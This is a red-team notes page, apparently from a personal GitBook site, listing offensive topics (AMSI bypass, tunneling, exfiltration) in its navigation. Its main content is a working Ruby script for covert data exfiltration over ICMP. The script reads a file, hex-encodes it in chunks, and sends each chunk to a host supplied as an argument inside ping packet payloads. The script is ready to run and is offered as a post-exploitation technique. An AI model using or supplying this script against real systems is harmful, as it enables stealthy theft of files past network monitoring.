Johnermac
  • About me
  • Active Directory
    • PowerShell
      • Customize
      • Notes
      • ETW
      • AMSI Bypass
      • Obfuscation
    • Enumeration
      • Domain
      • GPO
      • ACL
      • Domain Trusts
      • Forest
      • Extra
      • BloodHound
      • BloodHound CE
  • Tunneling
    • Tools
      • Udp2Raw
      • Fraud Bridge
      • Chisel
      • SSF
      • Egress-Assess
      • Ligolo-ng
      • Sshutle
      • Rpivot
      • Tunna
      • reGeorg
      • Neo-reGeorg
      • PivotSuite
  • Post-Exploitation
    • Data Exfiltration
      • HTTP
        • Cancel
        • wget
        • bash
        • busybox
        • IRB
        • PHP
        • Ruby
      • ICMP
        • XXD
        • Ruby
        • Python
      • UDP
        • Netcat
      • TCP
        • Netcat
        • KSH
        • whois
        • Finger
      • HTTPS
        • Python
        • OpenSSL
  • BLOG
    • Articles
      • Pivoting for Red Teaming
Powered by GitBook
On this page
  • Basic Usage
  • How to extract files using ruby
  1. Post-Exploitation
  2. Data Exfiltration
  3. ICMP

Ruby

Ruby is a dynamic, object-oriented programming language known for its simplicity and readability

PreviousXXDNextPython

Last updated 2 years ago

Basic Usage

def greet(name)
  puts "Hello, #{name}!"
end

greet("John")

How to extract files using ruby

file = ARGV[0]
target = ARGV[1]
msg = ""

File.open(file, "r").each do |line|
  line.each_char do |ch|
    msg += ch
    if msg.length == 16
      puts "Sending Secret message"
      enctext = msg.chars.map { |c| c.ord.to_s(16) }.join
      begin
        `ping -p #{enctext} -c 1 #{target}`
        msg = ""
      rescue
        puts "Packet Loss"
        msg = ""
      end
    end
  end
end
Send the File
Wireshark Results